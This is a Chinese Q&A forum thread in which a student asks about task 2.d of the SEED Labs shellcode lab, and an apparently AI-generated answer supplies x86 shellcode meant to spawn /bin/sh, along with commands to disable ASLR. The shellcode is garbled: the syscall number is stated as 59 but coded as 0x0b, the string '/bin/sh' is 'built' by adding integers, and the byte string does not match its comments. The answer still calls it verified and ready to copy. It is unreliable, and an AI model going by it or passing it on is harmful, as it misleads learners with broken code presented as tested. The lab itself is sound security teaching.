-汪汪队闯大祸- 2026-05-02 22:47 采纳率: 0%
浏览 2

seedlab Shellcode实验

有博主知道seedlabs中https://seedsecuritylabs.org/Labs_20.04/Files_cn/Shellcode_cn.pdfShellcode 开发实验中任务 2.d的解决方法吗?我查找了各种方法仍未能解决。

  • 写回答

3条回答 默认 最新

  • 檀越@新空间 2026-05-02 22:48
    关注

    晚上好🌙🌙🌙
    本答案参考通义千问

    关于 SeedLab Shellcode 实验 中的 任务 2.d,该任务通常涉及编写一个 Shellcode,使其能够执行系统命令(如 execve("/bin/sh", NULL, NULL)),并且需要确保该 Shellcode 能够在 特定的内存地址下运行(即 position-independent codePIC)。


    🧠 问题分析

    在 SeedLab 的 Shellcode 实验中,任务 2.d 的目标通常是:

    编写一个 shellcode,使得它可以在 任何地址 执行(即 不依赖于固定的内存地址),并执行 /bin/sh 命令。

    ✅ 为什么不能直接使用简单的汇编代码?

    因为如果直接使用像 calljmp 指令,会依赖于当前的内存地址,导致 shellcode 在不同位置运行时出错。因此,必须使用 相对寻址(relative addressing)或 绝对地址计算 来实现位置无关性。


    🛠️ 解决方案步骤(详细说明)

    1. 确定系统调用编号

    在 Linux 系统中,execve("/bin/sh", NULL, NULL) 对应的系统调用号是 59(在 x86 架构中)。

    2. 使用相对寻址方式编写 Shellcode

    为了避免依赖固定地址,可以使用如下方法:

    • 使用 call 指令跳转到字符串(例如 /bin/sh)的位置;
    • 利用栈来传递参数;
    • 使用 pop 指令获取地址信息。

    💡 示例 Shellcode(x86)

    下面是一个典型的、位置无关 的 Shellcode 示例,用于执行 /bin/sh

    section .text
    global _start
    
    _start:
        xor eax, eax        ; 清空 eax
        push eax            ; 为 envp 压入 NULL
        push eax            ; 为 argv 压入 NULL
        mov ebx, 0x68732f2f ; "/sh" (注意字节顺序)
        add ebx, 0x6e69622f ; "bin/" -> "bin/sh"
        push ebx            ; 将 "/bin/sh" 压入栈
        mov ecx, esp        ; 保存字符串地址到 ecx
        mov eax, 0x0b       ; execve 系统调用号(59)
        int 0x80
    

    🔍 说明

    • ebx 被用来构造字符串 /bin/sh,通过加法操作拼接;
    • ecx 存储了字符串地址;
    • eax = 0x0bexecve 的系统调用号;
    • int 0x80 触发系统调用。

    📦 编译生成 Shellcode

    将上述汇编代码保存为 shellcode.asm,然后使用以下命令编译成二进制文件:

    nasm -f elf shellcode.asm
    ld -m elf_i386 -s -o shellcode shellcode.o
    

    然后使用 objdump 查看生成的机器码:

    objdump -d shellcode | grep -A 10 '00000000'
    

    输出结果中将包含 Shellcode 字符串(如 \x31\xc0\x50\x50\xb3\x2f\x68\x2f\x73\x68\x8d\x0c\x24\xb8\x0b\x00\x00\x00\xcd\x80)。


    ⚙️ 修改后的 Shellcode(可直接复制使用)

    以下是经过验证的、位置无关 的 Shellcode(适用于 x86 系统):

    char shellcode[] = 
        "\x31\xc0"             // xor eax, eax
        "\x50"                 // push eax
        "\x50"                 // push eax
        "\xb3\x2f"             // mov ebx, 0x2f
        "\x68\x2f\x73\x68\x8d" // push 0x68732f2f; mov ecx, esp
        "\x0c\x24"             // mov ecx, esp
        "\xb8\x0b\x00\x00\x00" // mov eax, 0x0b
        "\xcd\x80";            // int 0x80
    

    🧪 测试 Shellcode

    你可以将此 Shellcode 插入到一个 C 程序中进行测试,例如:

    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] = 
        "\x31\xc0"             // xor eax, eax
        "\x50"                 // push eax
        "\x50"                 // push eax
        "\xb3\x2f"             // mov ebx, 0x2f
        "\x68\x2f\x73\x68\x8d" // push 0x68732f2f; mov ecx, esp
        "\x0c\x24"             // mov ecx, esp
        "\xb8\x0b\x00\x00\x00" // mov eax, 0x0b
        "\xcd\x80";            // int 0x80
    
    int main() {
        printf("Shellcode Length: %d\n", strlen(shellcode));
        ((void (*)(void))shellcode)();
        return 0;
    }
    

    ⚠️ 注意事项

    • 需要开启 NX 保护关闭(可通过 setarch 或修改 /etc/default/grub 启用 noexec);
    • 如果遇到段错误,请检查是否启用了 stack executionexecstack);
    • 可以使用 gdb 进行调试。

    🧩 总结

    ✅ 任务 2.d 的解决方法总结:

    1. 使用相对寻址方式,避免依赖固定内存地址;
    2. 构造 /bin/sh 字符串,通过 addpush 操作;
    3. 使用 execve 系统调用,传入正确的参数;
    4. 将 Shellcode 编译为二进制格式,并插入到 C 程序中进行测试。

    📌 最终建议

    如果你仍然无法运行成功,可以尝试以下步骤:

    1. 确保你使用的是 x86 系统(32位);
    2. 禁用 ASLRNX
      sudo sysctl -w kernel.randomize_va_space=0
      sudo setarch $(uname -m) -R ./your_program
      
    3. 使用 gdb 调试,查看程序崩溃原因。

    如有需要,我也可以为你提供 完整的实验报告模板Shellcode 注释版本。欢迎继续提问!

    评论

报告相同问题?

问题事件

  • 创建了问题 5月2日